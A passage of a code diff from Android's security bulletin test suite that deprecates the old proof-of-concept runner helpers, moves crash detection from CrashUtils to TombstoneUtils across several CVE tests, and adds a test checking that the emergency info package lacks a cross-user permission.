* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
- public static int runPocGetExitStatus(String pocName, String arguments, ITestDevice device,
- int timeout) throws Exception {
+ @Deprecated
+ public static int runPocGetExitStatus(
+ String pocName, String arguments, ITestDevice device, int timeout) throws Exception {
return runPocGetExitStatus(pocName, arguments, null, device, timeout);
}
/**
* Pushes and runs a binary to the device and returns the exit status.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param arguments input arguments for the poc
* @param envVars run the poc with environment variables
* @param device device to be run on
* @param timeout time to wait for output in seconds
*/
+ @Deprecated
public static int runPocGetExitStatus(
- String pocName, String arguments, Map<String, String> envVars,
- ITestDevice device, int timeout) throws Exception {
+ String pocName,
+ String arguments,
+ Map<String, String> envVars,
+ ITestDevice device,
+ int timeout)
+ throws Exception {
return runPoc(pocName, device, timeout, arguments, envVars, null);
}
/**
* Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
+ @Deprecated
public static void runPocAssertExitStatusNotVulnerable(
String pocName, ITestDevice device, int timeout) throws Exception {
runPocAssertExitStatusNotVulnerable(pocName, null, device, timeout);
@@ -444,27 +491,37 @@
/**
* Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param arguments input arguments for the poc
* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
- public static void runPocAssertExitStatusNotVulnerable(String pocName, String arguments,
- ITestDevice device, int timeout) throws Exception {
+ @Deprecated
+ public static void runPocAssertExitStatusNotVulnerable(
+ String pocName, String arguments, ITestDevice device, int timeout) throws Exception {
runPocAssertExitStatusNotVulnerable(pocName, arguments, null, device, timeout);
}
/**
* Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param arguments input arguments for the poc
* @param envVars run the poc with environment variables
* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
+ @Deprecated
public static void runPocAssertExitStatusNotVulnerable(
- String pocName, String arguments, Map<String, String> envVars,
- ITestDevice device, int timeout) throws Exception {
+ String pocName,
+ String arguments,
+ Map<String, String> envVars,
+ ITestDevice device,
+ int timeout)
+ throws Exception {
assertTrue("PoC returned exit status 113: vulnerable",
runPocGetExitStatus(pocName, arguments, envVars, device, timeout) != 113);
}
@@ -496,7 +553,7 @@
}
runPocAssertNoCrashes(
"pacrunner", device, targetPath,
- new CrashUtils.Config().setProcessPatterns("pacrunner"));
+ new TombstoneUtils.Config().setProcessPatterns("pacrunner"));
runCommandLine("rm " + targetPath, device);
return 0; // b/157172329 fix tests that manually check the result; remove return statement
}
@@ -504,136 +561,164 @@
/**
* Runs the poc binary and asserts that there are no security crashes that match the expected
* process pattern.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param device device to be ran on
* @param processPatternStrings a Pattern string to match the crash tombstone process
*/
- public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
- String... processPatternStrings) throws Exception {
+ @Deprecated
+ public static void runPocAssertNoCrashes(
+ String pocName, ITestDevice device, String... processPatternStrings) throws Exception {
runPocAssertNoCrashes(pocName, device,
- new CrashUtils.Config().setProcessPatterns(processPatternStrings));
+ new TombstoneUtils.Config().setProcessPatterns(processPatternStrings));
}
/**
* Runs the poc binary and asserts that there are no security crashes that match the expected
* process pattern.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param device device to be ran on
* @param config a crash parser configuration
*/
- public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
- CrashUtils.Config config) throws Exception {
+ @Deprecated
+ public static void runPocAssertNoCrashes(
+ String pocName, ITestDevice device, TombstoneUtils.Config config) throws Exception {
runPocAssertNoCrashes(pocName, device, null, config);
}
/**
* Runs the poc binary and asserts that there are no security crashes that match the expected
* process pattern, including arguments when running.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param device device to be ran on
* @param arguments input arguments for the poc
* @param config a crash parser configuration
*/
- public static void runPocAssertNoCrashes(String pocName, ITestDevice device, String arguments,
- CrashUtils.Config config) throws Exception {
- AdbUtils.runCommandLine("logcat -c", device);
- AdbUtils.runPocNoOutput(pocName, device,
- SecurityTestCase.TIMEOUT_NONDETERMINISTIC, arguments);
- assertNoCrashes(device, config);
+ @Deprecated
+ public static void runPocAssertNoCrashes(
+ String pocName, ITestDevice device, String arguments, TombstoneUtils.Config config)
+ throws Exception {
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(device, config)) {
+ AdbUtils.runPocNoOutput(pocName, device,
+ SecurityTestCase.TIMEOUT_NONDETERMINISTIC, arguments);
+ }
}
/**
- * Runs the poc binary and asserts following 2 conditions.
- * 1. There are no security crashes in the binary.
- * 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ * Runs the poc binary and asserts following 2 conditions. 1. There are no security crashes in
+ * the binary. 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability
+ * condition).
*
+ * @deprecated Use {@link NativePoc} instead.
* @param binaryName name of the binary
* @param arguments arguments for running the binary
* @param device device to be run on
*/
- public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
- ITestDevice device) throws Exception {
+ @Deprecated
+ public static void runPocAssertNoCrashesNotVulnerable(
+ String binaryName, String arguments, ITestDevice device) throws Exception {
runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device, null);
}
/**
- * Runs the poc binary and asserts following 2 conditions.
- * 1. There are no security crashes in the binary.
- * 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ * Runs the poc binary and asserts following 2 conditions. 1. There are no security crashes in
+ * the binary. 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability
+ * condition).
*
+ * @deprecated Use {@link NativePoc} instead.
* @param binaryName name of the binary
* @param arguments arguments for running the binary
* @param device device to be run on
- * @param processPatternStrings a Pattern string to match the crash tombstone
- * process
+ * @param processPatternStrings a Pattern string to match the crash tombstone process
*/
- public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
- ITestDevice device, String processPatternStrings[]) throws Exception {
+ @Deprecated
+ public static void runPocAssertNoCrashesNotVulnerable(
+ String binaryName, String arguments, ITestDevice device, String processPatternStrings[])
+ throws Exception {
runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device,
processPatternStrings);
}
/**
- * Runs the poc binary and asserts following 2 conditions.
- * 1. There are no security crashes in the binary.
- * 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ * Runs the poc binary and asserts following 2 conditions. 1. There are no security crashes in
+ * the binary. 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability
+ * condition).
*
+ * @deprecated Use {@link NativePoc} instead.
* @param binaryName name of the binary
* @param arguments arguments for running the binary
* @param inputFiles files required as input
- * @param inputFilesDestination destination directory to which input files are
- * pushed
+ * @param inputFilesDestination destination directory to which input files are pushed
* @param device device to be run on
*/
- public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
- String inputFiles[], String inputFilesDestination, ITestDevice device)
+ @Deprecated
+ public static void runPocAssertNoCrashesNotVulnerable(
+ String binaryName,
+ String arguments,
+ String inputFiles[],
+ String inputFilesDestination,
+ ITestDevice device)
throws Exception {
runPocAssertNoCrashesNotVulnerable(binaryName, arguments, inputFiles, inputFilesDestination,
device, null);
}
/**
- * Runs the poc binary and asserts following 3 conditions.
- * 1. There are no security crashes in the binary.
- * 2. There are no security crashes that match the expected process pattern.
- * 3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ * Runs the poc binary and asserts following 3 conditions. 1. There are no security crashes in
+ * the binary. 2. There are no security crashes that match the expected process pattern. 3. The
+ * exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
*
+ * @deprecated Use {@link NativePoc} instead.
* @param binaryName name of the binary
* @param arguments arguments for running the binary
* @param inputFiles files required as input
- * @param inputFilesDestination destination directory to which input files are
- * pushed
+ * @param inputFilesDestination destination directory to which input files are pushed
* @param device device to be run on
- * @param processPatternStrings a Pattern string to match the crash tombstone
- * process
+ * @param processPatternStrings a Pattern string to match the crash tombstone process
*/
- public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
- String inputFiles[], String inputFilesDestination, ITestDevice device,
- String processPatternStrings[]) throws Exception {
+ @Deprecated
+ public static void runPocAssertNoCrashesNotVulnerable(
+ String binaryName,
+ String arguments,
+ String inputFiles[],
+ String inputFilesDestination,
+ ITestDevice device,
+ String processPatternStrings[])
+ throws Exception {
runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null,
inputFiles, inputFilesDestination, device, processPatternStrings);
}
/**
- * Runs the poc binary and asserts following 3 conditions.
- * 1. There are no security crashes in the binary.
- * 2. There are no security crashes that match the expected process pattern.
- * 3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ * Runs the poc binary and asserts following 3 conditions. 1. There are no security crashes in
+ * the binary. 2. There are no security crashes that match the expected process pattern. 3. The
+ * exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
*
+ * @deprecated Use {@link NativePoc} instead.
* @param binaryName name of the binary
* @param arguments arguments for running the binary
* @param envVars run the poc with environment variables
* @param inputFiles files required as input
- * @param inputFilesDestination destination directory to which input files are
- * pushed
+ * @param inputFilesDestination destination directory to which input files are pushed
* @param device device to be run on
* @param processPatternStrings a Pattern string (other than binary name) to match the crash
- * tombstone process
+ * tombstone process
*/
+ @Deprecated
public static void runPocAssertNoCrashesNotVulnerable(
- String binaryName, String arguments, Map<String, String> envVars,
- String inputFiles[], String inputFilesDestination, ITestDevice device,
- String... processPatternStrings) throws Exception {
+ String binaryName,
+ String arguments,
+ Map<String, String> envVars,
+ String inputFiles[],
+ String inputFilesDestination,
+ ITestDevice device,
+ String... processPatternStrings)
+ throws Exception {
pocConfig testConfig = new pocConfig(binaryName, device);
testConfig.arguments = arguments;
testConfig.envVars = envVars;
@@ -651,27 +736,28 @@
String[] processPatternStringsWithSelf = new String[processPatternList.size()];
processPatternList.toArray(processPatternStringsWithSelf);
testConfig.config =
- new CrashUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
+ new TombstoneUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
runPocAssertNoCrashesNotVulnerable(testConfig);
}
/**
- * Runs the poc binary and asserts following 3 conditions.
- * 1. There are no security crashes in the binary.
- * 2. There are no security crashes that match the expected process pattern.
- * 3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ * Runs the poc binary and asserts following 3 conditions. 1. There are no security crashes in
+ * the binary. 2. There are no security crashes that match the expected process pattern. 3. The
+ * exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
*
+ * @deprecated Use {@link NativePoc} instead.
* @param testConfig test configuration
*/
+ @Deprecated
public static void runPocAssertNoCrashesNotVulnerable(pocConfig testConfig) throws Exception {
String[] inputFiles = null;
if(!testConfig.inputFiles.isEmpty()) {
inputFiles = testConfig.inputFiles.toArray(new String[testConfig.inputFiles.size()]);
pushResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
}
- runCommandLine("logcat -c", testConfig.device);
- try {
+ try (AutoCloseable a =
+ TombstoneUtils.withAssertNoSecurityCrashes(testConfig.device, testConfig.config)) {
runPocAssertExitStatusNotVulnerable(testConfig.binaryName, testConfig.arguments,
testConfig.envVars, testConfig.device, TIMEOUT_SEC);
} catch (IllegalArgumentException e) {
@@ -687,63 +773,6 @@
removeResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
}
}
- if(testConfig.checkCrash) {
- if (testConfig.config == null) {
- testConfig.config = new CrashUtils.Config();
- }
- assertNoCrashes(testConfig.device, testConfig.config);
- }
- }
-
- /**
- * Dumps logcat and asserts that there are no security crashes that match the expected process.
- * By default, checks min crash addresses
- * pattern. Ensure that adb logcat -c is called beforehand.
- * @param device device to be ran on
- * @param processPatternStrings a Pattern string to match the crash tombstone process
- */
- public static void assertNoCrashes(ITestDevice device, String... processPatternStrings)
- throws Exception {
- assertNoCrashes(device, new CrashUtils.Config().setProcessPatterns(processPatternStrings));
- }
-
- /**
- * Dumps logcat and asserts that there are no security crashes that match the expected process
- * pattern. Ensure that adb logcat -c is called beforehand.
- * @param device device to be ran on
- * @param config a crash parser configuration
- */
- public static void assertNoCrashes(ITestDevice device,
- CrashUtils.Config config) throws Exception {
- String logcat = AdbUtils.runCommandLine("logcat -d *:S DEBUG:V", device);
-
- JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
- JSONArray securityCrashes = CrashUtils.matchSecurityCrashes(crashes, config);
-
- MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
- reportLog.addValue("all_crashes", crashes.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue("security_crashes", securityCrashes.toString(),
- ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.submit();
-
- if (securityCrashes.length() == 0) {
- return; // no security crashes detected
- }
-
- StringBuilder error = new StringBuilder();
- error.append("Security crash detected:\n");
- error.append("Process patterns:");
- for (Pattern pattern : config.getProcessPatterns()) {
- error.append(String.format(" '%s'", pattern.toString()));
- }
- error.append("\nCrashes:\n");
- for (int i = 0; i < crashes.length(); i++) {
- try {
- JSONObject crash = crashes.getJSONObject(i);
- error.append(String.format("%s\n", crash));
- } catch (JSONException e) {}
- }
- fail(error.toString());
}
public static void assumeHasNfc(ITestDevice device) throws DeviceNotAvailableException {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
index df3e13c..78a791c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
@@ -20,6 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -34,9 +35,11 @@
@AsbSecurityTest(cveBugId = 187957589)
public void testPocBug_187957589() throws Exception {
assumeFalse(moduleIsPlayManaged("com.google.android.os.statsd"));
- AdbUtils.runPoc("Bug-187957589", getDevice());
- // Sleep to ensure statsd was able to process the injected event.
- Thread.sleep(5_000);
- AdbUtils.assertNoCrashes(getDevice(), "statsd");
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("statsd");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+ AdbUtils.runPoc("Bug-187957589", getDevice());
+ // Sleep to ensure statsd was able to process the injected event.
+ Thread.sleep(5_000);
+ }
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_248251018.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_248251018.java
new file mode 100644
index 0000000..4b8389e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_248251018.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.*;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Bug_248251018 extends NonRootSecurityTestCase {
+
+ @Test
+ @AsbSecurityTest(cveBugId = 248251018)
+ public void testEmergencyInfo_cannotInteractAcrossUsers() throws Exception {
+ String packageList =
+ getDevice()
+ .executeShellV2Command("pm list package com.android.emergency")
+ .getStdout();
+ if (!packageList.isEmpty()) {
+ String result =
+ getDevice()
+ .executeShellV2Command("dumpsys package com.android.emergency")
+ .getStdout();
+ assertFalse(result.contains("android.permission.INTERACT_ACROSS_USERS_FULL"));
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
index 93acb60..4a03870 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
@@ -19,8 +19,9 @@
import static org.junit.Assume.assumeFalse;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -38,8 +39,8 @@
assumeFalse(moduleIsPlayManaged("com.google.android.conscrypt"));
String binaryName = "CVE-2016-2182";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
- testConfig.config.checkMinAddress(false);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setIgnoreLowFaultAddress(false);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9428.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9428.java
index cb7ce2c..0eafd02 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9428.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9428.java
@@ -17,8 +17,10 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -33,9 +35,13 @@
@AsbSecurityTest(cveBugId = 74122779)
@Test
public void testPocCVE_2018_9428() throws Exception {
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns("audioserver");
testConfig.config.setSignals(signals);
testConfig.config.setAbortMessageIncludes("service stream still open");
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
index 21b6df0..2534954 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
@@ -17,8 +17,9 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -35,11 +36,11 @@
@Test
public void testPocCVE_2018_9537() throws Exception {
String binaryName = "CVE-2018-9537";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV, TombstoneUtils.Signals.SIGBUS, TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
// example of check crash to skip:
// Abort message: 'frameworks/av/media/extractors/mkv/MatroskaExtractor.cpp:548 CHECK(mCluster) failed.'
- testConfig.config = new CrashUtils.Config()
+ testConfig.config = new TombstoneUtils.Config()
.setProcessPatterns(binaryName)
.appendAbortMessageExcludes("CHECK\\(.*?\\)");
testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
index 5b41c12..556d01f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
@@ -17,8 +17,9 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -34,9 +35,9 @@
@Test
public void testPocCVE_2018_9549() throws Exception {
String binaryName = "CVE-2018-9549";
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.config
.setAbortMessageIncludes(AdbUtils.escapeRegexSpecialChars("ubsan: mul-overflow"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index 660d993..de26408 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -18,9 +18,10 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.regex.Pattern;
import org.junit.Test;
@@ -41,10 +42,10 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGABRT};
+ String[] signals = {TombstoneUtils.Signals.SIGABRT};
String binaryName = "CVE-2018-9558";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"rw_t2t_handle_tlv_detect_rsp"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
index c8246c4..2834e2b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -17,9 +17,10 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.regex.Pattern;
import org.junit.Test;
@@ -40,10 +41,10 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
String binaryName = "CVE-2019-2012";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(
new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
index 7baea1b..a1a31cf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
@@ -17,8 +17,9 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -35,9 +36,9 @@
public void testPocCVE_2019_2014() throws Exception {
pocPusher.only64();
String binaryName = "CVE-2019-2014";
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
index c8b6e0c..621d85b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
@@ -17,9 +17,10 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.regex.Pattern;
import org.junit.Test;
@@ -40,10 +41,10 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
String binaryName = "CVE-2019-2015";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"rw_t3t_act_handle_check_rsp"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
index e94a9f5..adc3d95 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -17,9 +17,10 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.regex.Pattern;
import org.junit.Test;
@@ -40,10 +41,10 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
String binaryName = "CVE-2019-2017";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"rw_t2t_handle_tlv_detect_rsp"));
testConfig.config
